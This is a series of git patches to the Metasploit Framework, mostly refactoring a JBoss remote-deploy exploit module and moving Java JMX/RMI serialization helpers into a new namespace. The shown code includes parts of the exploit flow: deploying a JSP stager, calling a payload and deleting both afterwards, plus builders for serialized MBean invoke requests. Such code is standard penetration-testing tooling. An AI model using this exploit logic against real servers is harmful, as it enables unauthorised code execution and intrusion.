-161,7 +160,7 @@ class Metasploit4 < Msf::Exploit::Remote name_parameter => app_base, content_parameter => b64_war } - }, 20) + }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) @@ -170,9 +169,7 @@ class Metasploit4 < Msf::Exploit::Remote # Remove the payload through stager print_status("Removing payload through stager") delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi( - {'uri' => delete_payload_uri, - }) + res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager print_status("Removing stager") @@ -225,14 +222,11 @@ catch(Exception e) {} %> EOT - # The script must be exactly 810 characters long, otherwise we might have serialization issues - # Therefore we fill the rest wit spaces - spaces = " " * (810 - stager_script.length) - stager_script << spaces end def send_serialized_request(file_name , replace_params = {}) + data = '' case file_name when 'version.bin' data = build_get_version.encode @@ -286,7 +280,7 @@ EOT # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if (verb == "POST") + if verb == "POST" res = send_request_cgi( { 'uri' => uri, @@ -303,16 +297,16 @@ EOT end msg = nil - if (!res) + if res.nil? msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) + elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) + elsif res.code == 200 print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end - if (attempt < num_attempts - 1) + if attempt < num_attempts - 1 msg << ", retrying in 5 seconds..." print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) From 4c72b096b656c424a3964a688b37cb5b5fb31d16 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:20:11 -0600 Subject: [PATCH 093/103] Switch variable from file_name to operation --- .../multi/http/jboss_invoke_deploy.rb | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index e83daa567b..003dbecce6 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote end def check - res = send_serialized_request('version.bin') + res = send_serialized_request('version') if res.nil? - vprint_error("Connection timed out") + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") @@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -134,8 +134,8 @@ class Metasploit4 < Msf::Exploit::Remote 'jsp_code' => generate_stager(name_parameter, content_parameter) } - print_status("Deploying stager") - send_serialized_request('installstager.bin', replace_values) + print_status('Deploying stager') + send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') @@ -167,14 +167,14 @@ class Metasploit4 < Msf::Exploit::Remote res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager - print_status("Removing payload through stager") + print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager - print_status("Removing stager") - send_serialized_request('removestagerfile.bin', replace_values) - send_serialized_request('removestagerdirectory.bin', replace_values) + print_status('Removing stager') + send_serialized_request('removestagerfile', replace_values) + send_serialized_request('removestagerdirectory', replace_values) handler end @@ -225,28 +225,28 @@ EOT end - def send_serialized_request(file_name , replace_params = {}) + def send_serialized_request(operation , replace_params = {}) data = '' - case file_name - when 'version.bin' + case operation + when 'version' data = build_get_version.encode - when 'osname.bin' + when 'osname' data = build_get_os.encode - when 'osarch.bin' + when 'osarch' data = build_get_arch.encode - when 'installstager.bin' + when 'installstager' data = build_install_stager( war_name: replace_params['regex_app_base'], jsp_name: replace_params['regex_jsp_name'], data: replace_params['jsp_code'] ).encode - when 'removestagerfile.bin' + when 'removestagerfile' data = build_delete_stager_file( dir: "#{replace_params['regex_app_base']}.war", file: replace_params['regex_jsp_name'], extension: '.jsp' ).encode - when 'removestagerdirectory.bin' + when 'removestagerdirectory' data = build_delete_stager_file( dir: './', file: replace_params['regex_app_base'], @@ -269,7 +269,7 @@ EOT unless res && res.code == 200 - print_error("Failed: Error requesting preserialized request #{file_name}") + print_error("Failed: Error requesting preserialized request #{operation}") return nil end @@ -335,8 +335,8 @@ EOT # Try to autodetect the target platform def detect_platform - print_status("Attempting to automatically detect the platform") - res = send_serialized_request("osname.bin") + print_status('Attempting to automatically detect the platform') + res = send_serialized_request('osname') if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 @@ -353,8 +353,8 @@ EOT # Try to autodetect the architecture def detect_architecture - print_status("Attempting to automatically detect the architecture") - res = send_serialized_request("osarch.bin") + print_status('Attempting to automatically detect the architecture') + res = send_serialized_request('osarch') if res.body =~ /(i386|x86)/i arch = $1 if arch =~ /i386|x86/i From d8aa2824820426d057fc113b1e954502ff7be8d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:21:25 -0600 Subject: [PATCH 094/103] Delete some double quotes --- modules/exploits/multi/http/jboss_invoke_deploy.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 003dbecce6..c56b3aba1f 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -115,7 +115,7 @@ class Metasploit4 < Msf::Exploit::Remote if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") unless mytarget + fail_with('Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") @@ -307,7 +307,7 @@ EOT end if attempt < num_attempts - 1 - msg << ", retrying in 5 seconds..." + msg << ', retrying in 5 seconds...' print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else @@ -319,7 +319,7 @@ EOT def auto_target - print_status("Attempting to automatically select a target") + print_status('Attempting to automatically select a target') plat = detect_platform arch = detect_architecture From e377ed3f83260a4df3d7cccf65339aef073000fc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:39:12 -0600 Subject: [PATCH 095/103] Document the 'null' UnicastRef ObjId on the discovery package --- lib/msf/jmx/discovery.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 3b11ad5483..f155b48d18 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -9,10 +9,11 @@ module Msf # # @return [Rex::Java::Serialization::Model::Stream] def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + block_data = Rex::Java::Serialization::Model::BlockData.new( nil, - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" ) stream = Rex::Java::Serialization::Model::Stream.new From c507e73a020ef864218e125f54c46914261e7308 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:40:52 -0600 Subject: [PATCH 096/103] Comment to clarify serialVersionUID fields --- lib/msf/jmx/handshake.rb | 2 +- lib/msf/jmx/mbean/server_connection.rb | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index 835599cf47..5299727c1a 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -39,7 +39,7 @@ module Msf auth_array = builder.new_array( name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, + serial: 0xadd256e7e91d7b47, # serialVersionUID values_type: 'java.lang.String;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, username), diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 3ee6f78390..d6383bcbf6 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -46,7 +46,7 @@ module Msf new_object = builder.new_object( name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, + serial: 0xf03a71beb6d15cf, # serialVersionUID flags: 3 ) @@ -80,20 +80,20 @@ module Msf new_object = builder.new_object( name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, + serial: 0xf03a71beb6d15cf, # serialVersionUID flags: 3 ) data_binary = builder.new_array( name: '[B', - serial: 0xacf317f8060854e0, + serial: 0xacf317f8060854e0, # serialVersionUID values_type: 'byte', values: invoke_arguments_stream(arguments).encode.unpack('C*') ) marshall_object = builder.new_object( name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID fields: [ ['int', 'hash'], ['array', 'locBytes', '[B'], @@ -108,7 +108,7 @@ module Msf new_array = builder.new_array( name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, + serial: 0xadd256e7e91d7b47, # serialVersionUID values_type: 'java.lang.String;', values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } ) @@ -136,7 +136,7 @@ module Msf new_array = builder.new_array( name: '[Ljava.lang.Object;', - serial: 0x90ce589f1073296c, + serial: 0x90ce589f1073296c, # serialVersionUID annotations: [Rex::Java::Serialization::Model::EndBlockData.new], values_type: 'java.lang.Object;', values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } From aa9e68696535fccf5ca5664c7b57369f0e184463 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 10:52:44 -0600 Subject: [PATCH 097/103] Reorganize Java related mixin code --- lib/msf/{ => java}/jmx/discovery.rb | 0 lib/msf/{ => java}/jmx/handshake.rb | 0 lib/msf/{ => java}/jmx/mbean.rb | 0 lib/msf/{ => java}/jmx/mbean/server_connection.rb | 0 lib/msf/{ => java}/jmx/util.rb | 0 lib/msf/{ => java}/rmi/client.rb | 0 lib/msf/{ => java}/rmi/client/streams.rb | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename lib/msf/{ => java}/jmx/discovery.rb (100%) rename lib/msf/{ => java}/jmx/handshake.rb (100%) rename lib/msf/{ => java}/jmx/mbean.rb (100%) rename lib/msf/{ => java}/jmx/mbean/server_connection.rb (100%) rename lib/msf/{ => java}/jmx/util.rb (100%) rename lib/msf/{ => java}/rmi/client.rb (100%) rename lib/msf/{ => java}/rmi/client/streams.rb (100%) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb similarity index 100% rename from lib/msf/jmx/discovery.rb rename to lib/msf/java/jmx/discovery.rb diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb similarity index 100% rename from lib/msf/jmx/handshake.rb rename to lib/msf/java/jmx/handshake.rb diff --git a/lib/msf/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb similarity index 100% rename from lib/msf/jmx/mbean.rb rename to lib/msf/java/jmx/mbean.rb diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb similarity index 100% rename from lib/msf/jmx/mbean/server_connection.rb rename to lib/msf/java/jmx/mbean/server_connection.rb diff --git a/lib/msf/jmx/util.rb b/lib/msf/java/jmx/util.rb similarity index 100% rename from lib/msf/jmx/util.rb rename to lib/msf/java/jmx/util.rb diff --git a/lib/msf/rmi/client.rb b/lib/msf/java/rmi/client.rb similarity index 100% rename from lib/msf/rmi/client.rb rename to lib/msf/java/rmi/client.rb diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb similarity index 100% rename from lib/msf/rmi/client/streams.rb rename to lib/msf/java/rmi/client/streams.rb From dba67bd1eeaf3db8c7394655273e129386771722 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 10:58:57 -0600 Subject: [PATCH 098/103] Do more code reorganization --- lib/msf/core.rb | 4 +- lib/msf/{ => java}/jmx.rb | 16 +- lib/msf/java/jmx/discovery.rb | 36 +-- lib/msf/java/jmx/handshake.rb | 80 ++++--- lib/msf/java/jmx/mbean.rb | 10 +- lib/msf/java/jmx/mbean/server_connection.rb | 250 ++++++++++---------- lib/msf/java/jmx/util.rb | 150 ++++++------ lib/msf/java/rmi/client.rb | 224 +++++++++--------- lib/msf/java/rmi/client/streams.rb | 100 ++++---- 9 files changed, 442 insertions(+), 428 deletions(-) rename lib/msf/{ => java}/jmx.rb (66%) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 0feab4d5f1..b93efa2b23 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -76,10 +76,10 @@ require 'msf/http/jboss' require 'msf/kerberos/client' # Java RMI Support -require 'msf/rmi/client' +require 'msf/java/rmi/client' # Java JMX Support -require 'msf/jmx' +require 'msf/java/jmx' # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/jmx.rb b/lib/msf/java/jmx.rb similarity index 66% rename from lib/msf/jmx.rb rename to lib/msf/java/jmx.rb index 009fe0b446..269747b906 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/java/jmx.rb @@ -4,15 +4,15 @@ require 'rex/java/serialization' module Msf module Jmx - require 'msf/jmx/util' - require 'msf/jmx/discovery' - require 'msf/jmx/handshake' - require 'msf/jmx/mbean' + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' - include Msf::Jmx::Util - include Msf::Jmx::Discovery - include Msf::Jmx::Handshake - include Msf::Jmx::Mbean + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean def initialize(info = {}) super diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb index f155b48d18..d956a9fdaf 100644 --- a/lib/msf/java/jmx/discovery.rb +++ b/lib/msf/java/jmx/discovery.rb @@ -1,26 +1,28 @@ # -*- coding: binary -*- module Msf - module Jmx - # This module provides methods which help to handle JMX end points discovery - module Discovery - # Builds a Rex::Java::Serialization::Model::Stream to discover - # an JMX RMI endpoint - # - # @return [Rex::Java::Serialization::Model::Stream] - def discovery_stream - obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + module Java + module Jmx + # This module provides methods which help to handle JMX end points discovery + module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] + def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still - block_data = Rex::Java::Serialization::Model::BlockData.new( - nil, - "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" - ) + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') - stream + stream + end end end end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb index 5299727c1a..36453849b2 100644 --- a/lib/msf/java/jmx/handshake.rb +++ b/lib/msf/java/jmx/handshake.rb @@ -1,53 +1,55 @@ # -*- coding: binary -*- module Msf - module Jmx - # This module provides methods which help to handle a JMX handshake - module Handshake + module Java + module Jmx + # This module provides methods which help to handle a JMX handshake + module Handshake - # Builds a Rex::Java::Serialization::Model::Stream to make - # a JMX handshake with an endpoint - # - # @param id [String] The endpoint UnicastRef ObjId - # @return [Rex::Java::Serialization::Model::Stream] - def handshake_stream(obj_id) - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data - if jmx_role - username = jmx_role - password = jmx_password || '' + if jmx_role + username = jmx_role + password = jmx_password || '' - stream.contents << auth_array_stream(username, password) - else - stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << auth_array_stream(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream end - stream - end + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def auth_array_stream(username, password) + builder = Rex::Java::Serialization::Builder.new - # Builds a Rex::Java::Serialization::Model::NewArray with credentials - # to make an authenticated handshake - # - # @param username [String] The username (role) to authenticate with - # @param password [String] The password to authenticate with - # @return [Rex::Java::Serialization::Model::NewArray] - def auth_array_stream(username, password) - builder = Rex::Java::Serialization::Builder.new + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) - auth_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] - ) - - auth_array + auth_array + end end end end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb index 9bc0c8d713..a0227cb528 100644 --- a/lib/msf/java/jmx/mbean.rb +++ b/lib/msf/java/jmx/mbean.rb @@ -1,11 +1,13 @@ # -*- coding: binary -*- module Msf - module Jmx - module Mbean - require 'msf/jmx/mbean/server_connection' + module Java + module Jmx + module Mbean + require 'msf/java/jmx/mbean/server_connection' - include Msf::Jmx::Mbean::ServerConnection + include Msf::Jmx::Mbean::ServerConnection + end end end end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb index d6383bcbf6..33622546f9 100644 --- a/lib/msf/java/jmx/mbean/server_connection.rb +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -1,151 +1,153 @@ # -*- coding: binary -*- module Msf - module Jmx - module Mbean - # This module provides methods which help to handle with MBean related calls. - # Specially, simulating calls with the Java javax.management.MBeanServerConnection - # class - module ServerConnection + module Java + module Jmx + module Mbean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class + module ServerConnection - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the createMBean method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def create_mbean_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - name = opts[:name] || '' - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream - end + stream + end - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the - # Java getObjectInstance method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def get_object_instance_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - name = opts[:name] || '' + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' - builder = Rex::Java::Serialization::Builder.new + builder = Rex::Java::Serialization::Builder.new - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream - end + stream + end - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the Java invoke method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :object the object whose method we want to call - # @option opts [String] :method the method name to invoke - # @option opts [String] :args the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_stream(opts = {}) - obj_id = opts[:obj_id] || "\x00" * 22 - object_name = opts[:object] || '' - method_name = opts[:method] || '' - arguments = opts[:args] || {} - builder = Rex::Java::Serialization::Builder.new + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) - data_binary = builder.new_array( - name: '[B', - serial: 0xacf317f8060854e0, # serialVersionUID - values_type: 'byte', - values: invoke_arguments_stream(arguments).encode.unpack('C*') - ) + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') + ) - marshall_object = builder.new_object( - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, # serialVersionUID - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], - data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - ) + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) - new_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } - ) + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - stream.contents << marshall_object - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream - end + stream + end - # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java invoke method method. - # - # @param args [Hash] the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_arguments_stream(args = {}) - builder = Rex::Java::Serialization::Builder.new + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_arguments_stream(args = {}) + builder = Rex::Java::Serialization::Builder.new - new_array = builder.new_array( - name: '[Ljava.lang.Object;', - serial: 0x90ce589f1073296c, # serialVersionUID - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - values_type: 'java.lang.Object;', - values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } - ) + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << new_array + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array - stream + stream + end end end end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb index 91aaa84f8c..6bac21c0a1 100644 --- a/lib/msf/java/jmx/util.rb +++ b/lib/msf/java/jmx/util.rb @@ -1,87 +1,89 @@ # -*- coding: binary -*- module Msf - module Jmx - # This module provides methods which help to handle data - # used by Java JMX - module Util + module Java + module Jmx + # This module provides methods which help to handle data + # used by Java JMX + module Util - # Extracts a Rex::Java::Serialization::Model::NewObject from - # a Rex::Java::Serialization::Model::Stream - # - # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from - # @param id [Fixnum] the content position storing the object - # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise - def extract_object(stream, id) - new_object = nil + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise + def extract_object(stream, id) + new_object = nil - if stream.contents[id] - new_object = stream.contents[id] - 